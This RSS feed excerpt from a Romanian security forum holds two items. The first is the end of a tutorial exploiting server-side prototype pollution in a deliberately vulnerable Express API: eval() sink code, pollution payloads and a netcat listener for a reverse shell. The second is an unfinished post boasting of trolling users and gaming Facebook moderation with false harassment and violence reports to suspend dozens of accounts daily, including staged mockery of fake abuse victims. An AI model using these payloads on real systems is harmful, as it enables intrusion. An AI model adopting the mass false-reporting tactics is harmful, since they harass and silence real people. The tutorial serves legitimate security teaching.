		There are other ways to cause prototype pollution that we can more easily monitor and detect. One such approach is to try to poison properties that match configuration options for the server and see if it alters its behavior. If it does, it strongly indicates that you’ve found a server-side prototype pollution vulnerability you can exploit.
	</p>

	<p>
		There are several techniques you can use for this. Gareth Heyes has <a href="https://portswigger.net/research/server-side-prototype-pollution?ref=danaepp.com" rel="external nofollow">published some excellent research</a> on this already. We will look at a few methods that pollute how cache controls work in Express and how to override the spaces in JSON output.
	</p>

	<h3>
		Testing for Cache-Control
	</h3>

	<p>
		So if you read Gareth’s research, you will know that the Express developers were onto his shenanigans and started hardening their code to prevent prototype pollution abuse for crucial server configurations. But they haven’t gotten them all (yet).
	</p>

	<p>
		One of the best ways to see if you have found an entry point to poison configuration is to see if you can abuse the cache control in Express.
	</p>

	<p>
		Here is how it works. When you send a request with the “If-None-Match” header, you should expect to receive a 304 (not modified) response.
	</p>

	
		<img alt="api-get-cached.jpg?resize=1024%2C576&amp;ssl" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=1200%2C675&amp;ssl=1 1200w" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		However, if you found SSPP, you can attempt to pollute the Object prototype on the server by adding cache-control=”no-cache”.
	</p>

	
		<img alt="api-put-poison-cache.jpg?resize=1024%2C5" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=1200%2C675&amp;ssl=1 1200w" width="999" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-cache.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		If it works, when you send the original request that returned a 304, you SHOULD now get a 200 back with that data and a corresponding ETag, demonstrating its vulnerable.
	</p>

	
		<img alt="api-get-cached-poisoned.jpg?resize=1024%" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=1200%2C675&amp;ssl=1 1200w" width="999" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-get-cached-poisoned.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		Just remember you are affecting the caching for the entire API. If you are doing this on a production server, ensure you have approval and are in constant contact with the Ops group to schedule the testing and notify them when to revert the caching state by restarting the processes.
	</p>

	<h3>
		Testing for JSON spaces override
	</h3>

	<p>
		So Express offers a lot of configurable options in its server framework. One example of this is the fact you can configure how many spaces a JSON object will use to indent any data in the response. You can test this by attempting to pollute the Object prototype by adding “json spaces” and setting it to a larger number than average, like 10 or 15.
	</p>

	<p>
		If you are testing this with Burp Suite, remember to look at the Raw tab, as the Pretty tab will strip out the extra spaces as it tries to give you easy-to-read JSON output.
	</p>

	<p>
		This methodology has recently been fixed in Express 4.17.4. But for all those older Express instances out there, you can still abuse this.
	</p>

	<p>
		If you want to practice this, PortSwigger has a <a href="https://portswigger.net/web-security/prototype-pollution/server-side/lab-detecting-server-side-prototype-pollution-without-polluted-property-reflection?ref=danaepp.com" rel="external nofollow">wicked lab for detecting server-side prototype pollution</a> you can mess with.
	</p>

	<p>
		You can test other ways to detect SSP, like through status codes and character set output. Lots to be learned if you check out the <a href="https://portswigger.net/web-security/prototype-pollution/server-side?ref=danaepp.com" rel="external nofollow">SSPP tutorial on Web Security Academy</a>.
	</p>

	<h2>
		A simple vulnerable API in NodeJS example
	</h2>

	<p>
		So I wanted to give you something to play with to see all this in action. I encourage you to jump into PortSwigger’s Web Security Academy project. But they don’t let you see the code causing these vulnerabilities.
	</p>

	<p>
		So I’ve written a purposely vulnerable API in NodeJS to walk you through this. I hinted at this when showcasing the prototype pollution for cache control earlier in this article. But I will walk you through an example and demonstrate how you can control code flow in a vulnerable API that ultimately lets you execute a dangerous sink, giving you remote code execution on the API server.
	</p>

	<p>
		DO NOT RUN THIS ON A MACHINE CONNECTED TO THE INTERNET. YOU’VE BEEN WARNED.
	</p>

	<h3>
		The vulnerable API code
	</h3>

	<p>
		OK, so here is the raw code for our vulnerable API:
	</p>

	<pre title="A vulnerable NodeJS/Express API - app.js">
 </pre>

	<div>
		A vulnerable NodeJS/Express API - app.js
	</div>
	'use strict'; const express = require('express'); const bodyParser = require('body-parser') // App const app = express(); app.use(bodyParser.json()) const config = { //allowEval: false } global.users = { "admin": {firstName: "The", lastName: "Admin"}, "bob": {firstName: "Bob", lastName: "Smith"}, } var findUserByUsername = function (username, callback) { if (!users[username]) return callback(new Error( 'No user matching ' + username ) ); return callback(null, users[username]); } function addUser( user ) { Object.assign(users, user); } function updateUser(username, prop, value){ users[username][prop] = value; } app.get("/api/users", (req, res) =&gt; { return res.status(200).send(users); }); app.get("/api/users/:username", (req, res) =&gt; { var username = req.params.username; findUserByUsername(username, function(error, user) { if (error) return res.status(404).send('User not found'); return res.status(200).send(user); }); }); app.post("/api/users", (req, res) =&gt; { var user = JSON.parse(JSON.stringify(req.body)); addUser(user); return res.status(200).send(user); }); app.put("/api/users/:username", (req, res) =&gt; { var username = req.params.username; var user = JSON.parse(JSON.stringify(req.body)); for(var attr in user){ updateUser(username, attr, user[attr]); } findUserByUsername(username, function(error, user) { if (error) return res.status(404).send('User not found'); return res.status(200).send(user); }); }) app.post("/api/eval", (req, res) =&gt; { var body = JSON.parse(JSON.stringify(req.body)); if (!config.allowEval){ console.log('allowEval not set!'); return res.status(403).send(); } console.log("allowEval IS set. RCE on its way..."); eval(body.code) return res.status(200).send(); }); app.listen(3000, '0.0.0.0'); console.log("Vulnerable API running...");

	<p>
		The things I want you to zoom into are the following:
	</p>

	<ol>
		<li>
			There is a dangerous sink in the POST endpoint for /api/eval (around line 69). It is protected by a simple variable in the config object called allowEval. It’s not set by default, which means this endpoint will never successfully run the dangerous eval() operation. We want to abuse the server and find a way to get here.
		</li>
		<li>
			The PUT endpoint for /api/users is vulnerable to server-side prototype pollution, following the pattern we discussed earlier where obj[a][b] = c, which we can see in the updateUser() function on line 34.
		</li>
	</ol>

	<p>
		OK, so with that outlined, let’s go about exploiting this API and get it to run our own malicious code to send us a remote shell from the API server.
	</p>

	<h3>
		Exploring the API
	</h3>

	<p>
		So if we examine the code closely, we can see that when updating a user Express will iterate over each property sent to the endpoint and update the object based on the username. If we wanted to update the “admin” user, we could send a payload that looks something like this:
	</p>

	<pre>PUT /api/user/admin HTTP/1.1
Host: vuln-api.com
...
{
     "firstName":"Bob",
     "lastName":"The Builder"
}</pre>

	
		<img alt="api-put-admin.jpg?resize=1024%2C576&amp;ssl=" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=1200%2C675&amp;ssl=1 1200w" width="999" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-admin.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		So on the first iteration, we would see an update look something like this:
	</p>

	<pre>users["admin"]["firstName"] = "Bob";</pre>

	<p>
		You can see where this is going. This is a classic prototype pollution construct. We control the username, the property, and the value. So let’s leverage this to change the code flow of the API and get us to our dangerous sink.
	</p>

	<h3>
		Exploiting the API
	</h3>

	<p>
		So let’s first check to see if the /api/eval endpoint is indeed protected from our use:
	</p>

	
		<img alt="api-eval-403.jpg?resize=1024%2C576&amp;ssl=1" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=1200%2C675&amp;ssl=1 1200w" width="999" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-403.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		Sure enough, we get a 403, as expected.
	</p>

	<p>
		But look closely at the code for the endpoint. It’s simply checking the config object to see if allowEval is present. It’s not even checking if it’s true or false… it’s just checking if it’s there. Knowing we have a potential SSPP vulnerability in the PUT method for /api/users, let’s see if we can abuse that.
	</p>

	<p>
		Remember when I said this?:
	</p>

	<blockquote>
		<p>
			If an attacker can control a and c, then he can set the value of a to __proto__, and the property b will be defined for all existing objects of the application with the value of c.
		</p>
	</blockquote>

	<p>
		So, to cause prototype pollution on the server, we need to reconstruct that as:
	</p>

	<pre>users["__proto__"]["allowEval"] = true;</pre>

	<p>
		And that is pretty easy here. We need to change the endpoint URL path and include a JSON payload with that property. It looks something like this in Burp:
	</p>

	
		<img alt="api-put-poison-allowEval.jpg?resize=1024" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=1200%2C675&amp;ssl=1 1200w" width="999" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-put-poison-allowEval.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		Alright. Everything is staged. We can now execute the dangerous sink and run code on the API server.
	</p>

	<p>
		Let me first start a netcat listener so I can catch a reverse shell:
	</p>

	<pre>netcat -lvp 4242</pre>

	<p>
		And now, with the allowEval variable polluted in the config object, we can change the code flow and run our malicious code on the /api/eval endpoint. In this case, I will get NodeJS to load a child process and exec a reverse shell:
	</p>

	
		<img alt="api-eval-pwn.jpg?resize=1024%2C576&amp;ssl=1" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=1200%2C675&amp;ssl=1 1200w" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/api-eval-pwn.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		Back on your netcat listener, you should have a shell on the API server:
	</p>

	
		<img alt="netcat-shell-from-api.jpg?resize=1024%2C" data-ratio="56.26" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=1200%2C675&amp;ssl=1 1200w" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/netcat-shell-from-api.jpg?resize=1024%2C576&amp;ssl=1" />
	

	<p>
		Pwnage via prototype pollution. How sweet it is.
	</p>

	<h2>
		Conclusion
	</h2>

	<p>
		Now that you know what server-side prototype pollution is and how to exploit it, you should be aware of this vulnerability class in the wild. It can be challenging to detect, as it relies on the code flow of a server framework running JavaScript to achieve its malicious goals.
	</p>

	<p>
		But with enough practice and exploration into different endpoints and payloads, anything is possible.
	</p>

	
		<img alt="image-12.png?resize=487%2C224&amp;ssl=1" data-ratio="45.79" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-12.png?w=974&amp;ssl=1 974w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-12.png?resize=300%2C138&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-12.png?resize=768%2C353&amp;ssl=1 768w" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-12.png?resize=487%2C224&amp;ssl=1" />
	

	<p>
		If you find an API running NodeJS during your recon, it’s worth exploring this. If you aren’t sure how to tell if an API is running NodeJS, check out my article on <a href="https://danaepp.com/how-to-detect-the-programming-language-of-an-api" rel="external nofollow">detecting an API’s programming language</a>.
	</p>

	<p>
		So the next time you audit or pentest an API, make sure to look for prototype pollution potentials and see if you can manipulate code flow in your favor!
	</p>

	<p>
		Have fun.
	</p>

	<p>
		Like what you’re reading? Then <a href="https://apihacker.blog/" rel="external nofollow">join the API Hacker Inner Circle</a>. It’s a FREE weekly newsletter designed for developers, testers, and hackers that keeps you up to date with the community and my work. Hope to see you there!
	</p>

	<p>
		 
	</p>

	<p>
		Sursa: <a href="https://danaepp.com/how-to-exploit-an-api-using-prototype-pollution" rel="external nofollow">https://danaepp.com/how-to-exploit-an-api-using-prototype-pollution</a>
	</p>
</div>
]]></description><guid isPermaLink="false">120174</guid><pubDate>Sun, 28 Jul 2024 22:33:48 +0000</pubDate></item><item><title>Facebook: cum am abuzat platforma folosind propria-i moderare</title><link>https://rstforums.com/forum/topic/120057-facebook-cum-am-abuzat-platforma-folosind-propria-i-moderare/</link><description><![CDATA[<p>
	Ceea ce voi scrie acum a fost testat in the wild just for fun. Cea mai mare parte din metodele prezentate in aceasta postare nu mai sunt de actualitate, dar voi semnaliza corespunzator ce mai functioneaza si ce nu. Prima parte descrie cat de cat partea tehnica, dar pentru cine vrea sa citeasca doar partea amuzanta poate sa scrolleze pana la "partea fun".<br />
	 
</p>

<p>
	<strong>Sistemul de moderare</strong> este compus din doua entitati: <em>moderatorii umani</em> si <em>AI-ul</em>. Ambele entitati aveau niste hibe foarte mari de care m-am folosit pana s-a schimbat intregul lor sistem de moderare. Fiind o companie mare apar periodic tot felul de schimbari, unele dintre ele rezolvand fara intentie anumite probleme.<br />
	<br />
	<strong>Problema cu moderatorii umani:</strong>
</p>

<ul>
	<li>
		sunt colaboratori de pe toata planeta
		<ul>
			<li>
				cei mai multi sunt recrutati pentru o perioada scurta de timp (4-12 saptamani)
			</li>
		</ul>
	</li>
	<li>
		majoritatea celor care modereaza nu cunosc limba romana si folosesc servicii de traducere pentru moderare
		<ul>
			<li>
				in general moderatorii folosesc Google Translate, si, probabil, unii folosesc sistemul de traducere proprietar de la Facebook
			</li>
			<li>
				serviciile de traducere, oricare ar fi ele, nu ofera intotdeauna un context corect si de multe ori nici traducerea corecta
			</li>
		</ul>
	</li>
	<li>
		a lucra pentru Facebook inseamna a urma proceduri si a urma regulile impuse de companie fara a te putea abate de la ele, chiar daca observi ca se intampla lucruri aberante din cauza lor
	</li>
</ul>

<p>
	 
</p>

<p>
	Problema cu AI-urile Facebook:
</p>

<ul>
	<li>
		AI-ul proprietar pentru traducere era praf la limba romana
		<ul>
			<li>
				la fel ca si alte LLM-uri, mai intai traduce din romana in engleza textul, apoi analizeaza traducerea in engleza pentru a decide daca textul respecta "Community Standards"
			</li>
			<li>
				doar ca acest AI traducea mult mai prost in 2021 decat o facea Google Translate in 2015, iar contextul era total diferit in traducere decat in limba in care a fost scris
				<ul>
					<li>
						<em>nu stiu cat de bine traduce acum, tehnologia a avansat destul de mult in ultimii doi ani</em>
					</li>
				</ul>
			</li>
		</ul>
	</li>
	<li>
		AI-ul de moderare: odata ce a decis ca un text incalca "Community Standards" <em>nu cred </em>ca isi mai poate schimba perspectiva - este necesara interventia unui operator uman pentru a schimba decizia
	</li>
	<li>
		tot un sistem automatizat de moderare se baza pe rata de succes a raportarilor, asa ca l-am violat <span><img alt=":)" data-emoticon="" height="20" src="https://rstforums.com/forum/uploads/emoticons/default_smile.png" srcset="https://rstforums.com/forum/uploads/emoticons/smile@2x.png 2x" title=":)" width="20" /> </span> 
	</li>
</ul>

<p>
	 
</p>

<p>
	Context: eram pe reveneala dupa problemele de sanatate, dar depresia de care tocmai scapasem ma lasase fara vlaga. Nu mai aveam tragere de inima sa fac nimic, la munca eram praf, rotitele creierului ruginisera, sistemul meu dopaminergic dormea pe el. Asa ca am zis sa revin pentru o perioada la vechile indeletniciri si sa fac tot posibilul sa ma distrez macar. Deci, trolling pe net. Unde? Pe Facebook, unde sunt toti prostii. Daca sunt atatia prosti, tocmai eu se lipsesc? Mi-am gasit si partener, un prieten care toata ziua statea la munca pe telefon, si am dat drumul la treaba.
</p>

<p>
	<br />
	Atunci cand trollezi primesti o gramada de injurii si reclamatii. Am trecut prin cateva suspendari ale contului pana am invatat la ce este sensibil sistemul de moderare. Dar cea mai interesanta parte a fost cand m-am prins ca unele decizii se iau automat, iar unele reguli pot fi abuzate chiar daca moderatorii umani sunt cei care investigheaza reclamatiile. Ce am facut mai departe?<br />
	<br />
	Am citit <em>Community Guidelines</em> si <em>Community Standards </em>ca sa aflu ce tip de reclamatii au cea mai mare sansa de succes si m-am apucat de teste. Acestea au fost cele mai utile pentru ce a urmat:<br />
	 
</p>

<ul>
	<li>
		<strong>nudity</strong> (impact major)

		<ul>
			<li>
				nu publicati pe Facebook poze cu bebelusi dezbracati <img alt=";)" data-emoticon="" height="20" src="https://rstforums.com/forum/uploads/emoticons/default_wink.png" srcset="https://rstforums.com/forum/uploads/emoticons/wink@2x.png 2x" title=";)" width="20" /> 
			</li>
		</ul>
	</li>
	<li>
		<strong>harrasement</strong> (impact major)
		<ul>
			<li>
				acest <em>report reason</em> a fost vedeta - va explic mai jos cum il foloseam
			</li>
		</ul>
	</li>
	<li>
		<strong>violence</strong> (impact major)
		<ul>
			<li>
				si acest <em>report reason</em> putea fi abuzat cu usurinta cand reuseam sa enervam oamenii si sa ii facem a ne ameninte
			</li>
		</ul>
	</li>
	<li>
		<strong>unauthorised sales</strong> (impact mediu)
		<ul>
			<li>
				cu acest reason am facut ceva curatenie in cateva grupuri pe care se vindeau cai, gaini, porci, animale de companie
			</li>
		</ul>
	</li>
	<li>
		<strong>hate speech</strong> (impact mic)
		<ul>
			<li>
				ii cam doare la banana pe cei de la Facebook de hate speech in limba romana 
			</li>
		</ul>
	</li>
	<li>
		<strong>bullying</strong> (impact mic)
		<ul>
			<li>
				in schimb functiona de minune reportul cu reason "hartuire", cu toate ca tot ce se incadra la hartuire se incadra si la bullying
			</li>
		</ul>
	</li>
	<li>
		<strong>sexual activity</strong> (impact mic)
		<ul>
			<li>
				trebuia sa faca cineva o remarca ce tenta sexuala - ex: <em>caut si eu o domnisoara tinerica pentru a face dragoste toata noaptea cu ea</em>
			</li>
			<li>
				in schimb injuraturi ca "<em>fa, daca te prind te fut</em>" nu erau pedepsite cand faceam teste, decat daca se foloseau "violence" sau "harrasement" ca <em>report reason</em> 
			</li>
		</ul>
	</li>
</ul>

<p>
	 
</p>

<p>
	Legenda:<br />
	<em>impact major - sanse mari sa fie penalizat cel raportat (peste 80%)</em>
</p>

<p>
	<em>impact mediu - sanse medii sa fie penalizat (intre 50% si 70-80%)</em>
</p>

<p>
	<em>impact mic - sanse mici sa fie penalizat, dar totusi exista o oarecare sansa</em>
</p>

<p>
	 
</p>

<p>
	Urmatoarele sunt si acum puse la misto in lista de raportari (cel putin in Romania):<br />
	 
</p>

<ul>
	<li>
		<strong>fraud or scam</strong>

		<ul>
			<li>
				nici in ziua de azi nu am vazut sa aiba vreun efect, nici chiar atunci cand sunt sute de reporturi reale intr-o zi
			</li>
			<li>
				nu cred ca mai au destui operatori umani care sa investigheze aceste reporturi, asa ca le ignora
			</li>
		</ul>
	</li>
	<li>
		<strong>mocking victims</strong>
		<ul>
			<li>
				am testat intensiv cateva zile - nu le pasa
				<ul>
					<li>
						<strong>iata ce postam cu diverse conturi</strong>: am fost violata, mama a fost violata de Securitate in fata mea, bunica mea a fost in lagarele naziste, am fost batut de tatal meu toata copilaria. Apoi lasam cu alt cont de-al meu comentarii pline de dispret la adresa victimei (ai meritat, sper sa mai patesti asta din nou etc), apoi raportam comentariul respectiv. Zero efect. Ii raportam si pe alti bagatori de seama care isi bateau joc. Nimic.
					</li>
					<li>
						cred ca este pus acolo doar din motive legale, sau functioneaza insa ignora reporturile din unele tari
					</li>
				</ul>
			</li>
		</ul>
	</li>
	<li>
		<strong>false information </strong>
		<ul>
			<li>
				sunt 100% sigur ca reporturile pentru <em>false information</em> nu au efect - e pus acolo doar din motive legale
			</li>
			<li>
				acea notificare cu <em>false information</em> care apare sub postari se datoreaza trusturilor media, sau unor entitati influente care semnalizeaza dezinformarea
			</li>
		</ul>
	</li>
	<li>
		<strong>spam</strong>
		<ul>
			<li>
				un singur report nu face diferenta - conturile vechi raportate pentru spam nu par a pati mare lucru (posibil sa ma insel)
			</li>
		</ul>
	</li>
	<li>
		<strong>bullying</strong>
		<ul>
			<li>
				inainte avea un impact mic, acum sansele sa aiba efect un <em>report </em>pentru bullying sunt derizorii
			</li>
		</ul>
	</li>
</ul>

<p>
	 
</p>

<p>
	 
</p>

<p>
	<span style="font-size:16px;"><strong>In sfarsit, partea fun.</strong></span>
</p>

<p>
	 
</p>

<p>
	Pusi pe șotii, am inceput sa punem in aplicare teoriile pe care le aveam. Intre timp au mai aparut inca doua persoane in gasca noastra de trolli. Scopul era unul singur: sa bagam zilnic cat mai multe persoane in "<em>facebook jail</em>", adica sa fortam sistemul sa le suspende contul pentru o perioada de timp. Pentru cine nu stie, sistemul de penalizare de pe Facebook creste durata pedepselor chiar si pana la 3 luni. In unele cazuri am reusit sa "convingem" Facebook sa stearga cu totul conturile raportate de noi, dar in general, era foarte greu sa ajungem la nivelul ala si necesita multa manipulare pentru a enerva din nou si din nou acea persoana.<br />
	<br />
	Victimele le agatam prin trolling. Noi trollam, cativa destepti erau ofuscati si se luau de noi. Dupa care se intamplau urmatoarele:
</p>

<p>
	 
</p>

<p>
	<strong><em>Report reason -&gt; harrasement</em></strong>
</p>

<p>
	 
</p>

<blockquote class="ipsQuote" data-ipsquote="">
	<div class="ipsQuote_citation">
		Quote
	</div>

	<div class="ipsQuote_contents">
		<p>
			 
		</p>

		<p>
			Victima: @nemessis tu ar trebui sa zbori de pe acest grup<br />
			Eu: @victima te rog sa incetezi sa imi mai dai tag si sa ma mai contactezi<br />
			Victima: @nemessis hai dispari.<br />
			Eu: @victima te rog sa incetezi sa imi mai dai tag si sa ma contactezi in mod repetat. Imi creezi o stare de anxietate si frica<br />
			Victima: @nemessis hahaha ce sensibil esti 
		</p>
	</div>
</blockquote>

<p>
	 
</p>

<p>
	<span>In momentul asta ii faceam report cu motivul hartuire la ultimele doua comentarii in care mi-a dat tag. Sansele de reusita erau de peste 90%. De ce? Pentru ca in categoria hartuire intra si asta, citez:  "Repeatedly contacting a person who doesn't want to contact".<br />
	<br />
	Bun. Pare simplu. Este intr-adevar, dar asta nu este tot. Daca ii repetam de mai multe ori sa nu imi mai dea tag si sa nu ma mai contacteze si o faceam sa intre in jocul meu, se adunau 6-7 taguri. Dupa care incepeam sa le raportez pe toate. Cel mai probabil primea pedeapsa pentru 4-5 dintre ele. Asta inseamna ca din start contul respectiv ajungea sa fie suspendat pentru mai mult timp, nu doar pentru una sau trei zile.</span>
</p>

<p>
	 
</p>

<p>
	<span>Partea interesanta este ca atat AI-ul cat si operatorii umani faceau aceeasi eroare. AI-ul pentru ca asa a fost calibrat, iar operatorii umani pentru ca sunt obligati sa respecte procedurile si regulile chiar daca in anumite situatii, cum e cea de mai sus, era aberant sa le respecte. </span><br />
	<br />
	Pe langa faza cu raportarea pentru taguri mai foloseam destul de des si raportarile pentru expresii uzuale din limba romana. Daca cineva ne spunea "du-te si arunca-te in Dambovita", sau "du-te si spanzura-te" puteam sa raportam pentru hartuire sau pentru violenta. In cele mai multe cazuri aveam succes.
</p>

<p>
	 
</p>

<p>
	<span>Metoda a functionat mai mult de un an. Cred ca la un moment dat un sefulet de departament de la Facebook le-a transmis superiorilor ca 3 cretini profita de procedurile lor ca sa suspende conturile userilor.<br />
	<br />
	Impact: fiecare dintre noi suspendam intre 40 si 70 de conturi pe zi, de multe ori fiecare dintre ele primind mai mult de o singura pedeapsa in acea interactiune cu noi. A fost cel mai amuzant abuz, dar stati sa vedeti ce a urmat si cat de retardati au fost cei care au gandit urmatorul sistem.<br />
	<br />
	<strong>Rata de succes a raportarilor</strong><br />
	<br />
	Si daca aveati impresia ca scaparea de mai devreme a fost penibila, hai sa va spun ce s-a intamplat cand am capatat o rata de succes atat de mare la raportari. </span>
</p>

<p>
	<span>Cumva am capatat un nivel de incredere atat de mare, incat daca raportam pentru hartuire un comentariu inocent de tipul "salutare grup", existau sanse mai mult decat rezonabile ca acel user sa fie pedepsit de sistem pentru hartuire. Daca facea apel la decizie scapa de pedeapsa, dar unii dintre sarmani nu stiau ca pot face apel. La mai multe apeluri pierdute de noi parea ca ne pierdeam si din nivelul de incredere si din super puteri. Era un du-te vino in care ba aveam super puteri, ba nu le mai aveam si munceam sa le recapatam.</span><br />
	 
</p>

<p>
	<span>Pentru a ajunge la acest nivel de incredere era nevoie de 3-4-5 zile in care sa folosim intensiv metoda "nu imi mai da tag" (o faceam cam 7-8 ore pe zi), iar apoi capatam aceste super puteri. Daca nu mai intram pe Facebook o saptamana o luam de la zero. Foarte dubios sistemul.<br />
	<br />
	A functionat doar cateva luni, dar a fost amuzant cand ii pedepseam pe cei mai vocali comentaci si admini de pe anumite grupuri. Nimeni nu mai intelegea ce se intampla, dar stiau ca suntem noi de vina.</span>
</p>

<p>
	 
</p>

<p>
	<strong><em>Report reason -&gt; any-&gt; </em>dumb Translator <span><img alt=":)" data-emoticon="" height="20" src="https://rstforums.com/forum/uploads/emoticons/default_smile.png" srcset="https://rstforums.com/forum/uploads/emoticons/smile@2x.png 2x" title=":)" width="20" /></span></strong>
</p>

<p>
	 
</p>

<p>
